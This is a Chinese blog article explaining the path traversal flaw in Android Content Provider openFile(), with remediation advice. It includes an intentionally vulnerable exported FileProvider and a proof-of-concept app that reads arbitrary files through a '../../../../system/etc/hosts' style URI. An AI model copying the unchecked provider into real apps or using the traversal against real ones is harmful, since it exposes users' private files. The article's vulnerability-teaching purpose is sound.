Content Provider文件目录遍历漏洞

一、文件目录遍历安全漏洞描述

Android Content Provider存在文件目录遍历安全漏洞,该漏洞源于对外暴露Content Provider组件的应用,没有对Content Provider组件的访问进行权限控制和对访问的目标文件的Content Query Uri进行有效判断,攻击者利用该应用暴露的Content Provider的openFile()接口进行文件目录遍历以达到访问任意可读文件的目的;
#二、文件目录遍历安全漏洞影响范围
Android所有系统

#三.文件目录遍历安全漏洞详情

##1.漏洞位置

	
ContentProvider.openFile(Uri uri, String mode)

##2.漏洞触发前提条件
对外暴露的Content Provider组件实现了openFile()接口;
没有对所访问的目标文件Uri进行有效判断,如没有过滤限制如“…/”可实现任意可读文件的访问的Content Query Uri;

##3.漏洞原理:
对外暴露的Content Provider实现了openFile()接口,因此其他有相应调用该Content Provider权限的应用即可调用Content Provider的openFile()接口进行文件数据访问。但是如果没有进行Content Provider访问权限控制和对访问的目标文件的Uri进行有效判断,攻击者利用文件目录遍历访问任意可读文件。
#四、文件目录遍历漏洞验证
##1.漏洞app创建
创建一个继承Content Provider类的FileProvider类,并重写openFile()方法

public class FileProvider extends ContentProvider {

	@Override
	public boolean onCreate() {
		return false;
	}
       
         
        //  重写该方法
	@Override
	public ParcelFileDescriptor openFile(Uri uri, String mode) throws FileNotFoundException {
		File file = new File(getContext().getFilesDir(),uri.getPath());
		if(file.exists()){
			return ParcelFileDescriptor.open(file, ParcelFileDescriptor.MODE_READ_ONLY);
		}
		throw new FileNotFoundException(uri.getPath());
	}
	@Override
	public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder) {
		throw new RuntimeException("Operation not supported");
	}

	@Override
	public String getType(Uri uri) {
		
		return null;
	}

	@Override
	public Uri insert(Uri uri, ContentValues values) {
		throw new RuntimeException("Operation not supported");
		
	}

	@Override
	public int delete(Uri uri, String selection, String[] selectionArgs) {
		
		throw new RuntimeException("Operation not supported");
	}

	@Override
	public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs) {
		
		throw new RuntimeException("Operation not supported");
	}

}

在Manifest.xml文件中注册该组件,并将exposed属性设为true

 <provider  android:name=".FileProvider" android:authorities="com.humen.app.FileProvider" android:exported="true"></provider>

漏洞验证app创建

package com.example.contentprovideropenfilecrack;

import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.IOException;

import android.app.Activity;
import android.content.ContentResolver;
import android.net.Uri;
import android.os.Bundle;
import android.view.Menu;
import android.view.MenuItem;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.Button;
import android.widget.EditText;
import android.widget.TextView;

public class MainActivity extends Activity {
	
	EditText  authorities=null;
	EditText  filePath=null;
	Button    read=null;
    TextView  content=null;
	@Override
	protected void onCreate(Bundle savedInstanceState) {
		super.onCreate(savedInstanceState);
		setContentView(R.layout.activity_main);
		authorities=(EditText) findViewById(R.id.authorities_et);
		filePath =(EditText) findViewById(R.id.filepath_et);
		read=(Button) findViewById(R.id.read);
		content=(TextView) findViewById(R.id.fileContent);
		
		read.setOnClickListener(new OnClickListener() {
			
			@Override
			public void onClick(View v) {
				String fileUri="content://"+authorities.getText().toString()+"/"+filePath.getText().toString();
				ContentResolver cr = getContentResolver();
				try {
					FileInputStream in = (FileInputStream) cr.openInputStream(Uri.parse(fileUri));
					byte[] buff =new byte[in.available()];
					in.read(buff);
					content.setText(new String(buff));
				} catch ( IOException e) {
					// TODO Auto-generated catch block
					e.printStackTrace();
				}
			}
		});
	}

}

main_activity.xml文件

 <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
    android:layout_width="fill_parent"
    android:layout_height="fill_parent"
    android:orientation="vertical" >

    <LinearLayout
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:layout_margin="10dp"
        android:orientation="horizontal" >

        <TextView
            android:id="@+id/textView1"
            android:layout_width="wrap_content"
            android:layout_height="wrap_content"
            android:text="Authorities:" />

        <EditText
            android:id="@+id/authorities_et"
            android:layout_width="match_parent"
            android:layout_height="wrap_content"
            android:text="com.humen.app.FileProvider" />
    </LinearLayout>

    <LinearLayout
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:layout_margin="10dp"
        android:orientation="horizontal" >

        <TextView
            android:id="@+id/textView2"
            android:layout_width="wrap_content"
            android:layout_height="wrap_content"
            android:text="FilePath:"
             />

        <EditText
            android:id="@+id/filepath_et"
            android:layout_width="match_parent"
            android:layout_height="wrap_content"
            android:text="../../../../system/etc/hosts" />
    </LinearLayout>

    <LinearLayout
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:layout_margin="10dp"
        android:orientation="horizontal" >

        <Button
            android:id="@+id/read"
            android:layout_width="match_parent"
            android:layout_height="wrap_content"
            android:text="读取内容" />
    </LinearLayout>

    <LinearLayout
        android:layout_width="match_parent"
        android:layout_height="match_parent"
        android:layout_margin="10dp"
        android:orientation="horizontal" >

        <TextView
            android:id="@+id/fileContent"
            android:layout_width="match_parent"
            android:layout_height="match_parent"
            android:singleLine="false"
            android:text="" />
    </LinearLayout>

</LinearLayout>

验证效果

这里写图片描述
#五、文件目录遍历安全漏洞修复建议
##1. 将不必要导出的Content Provider设置为不导出[6]

由于Android组件Content Provider无法在Android 2.2(即API Level 8)系统上设为不导出,因此如果应用的Content Provider不必要导出,阿里聚安全建议声明最低SDK版本为8以上版本;
由于API level 在17以下的所有应用的“android:exported”属性默认值都为true.,因此如果应用的Content Provider不必要导出,阿里聚安全建议显示设置注册的Content Provider组件的“android:exported”属性为false;

2. 去除没有必要的openFile()接口

如果应用的Content Provider组件没有必要实现openFile()接口,阿里聚安全建议移除该Content Provider的不必要的openFile()接口。
##3. 过滤限制跨域访问,对访问的目标文件的路径进行有效判断

使用Uri.decode()先对Content Query Uri进行解码后,再过滤如可通过“…/”实现任意可读文件的访问的Uri字符串;
##4. 设置权限来进行内部应用通过Content Provider的数据共享

使用签名验证来控制Content Provider共享数据的访问权限:设置protectionLevel=”signature”;

参考自:http://www.droidsec.cn/content-provider文件目录遍历漏洞浅析/

  • 1
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值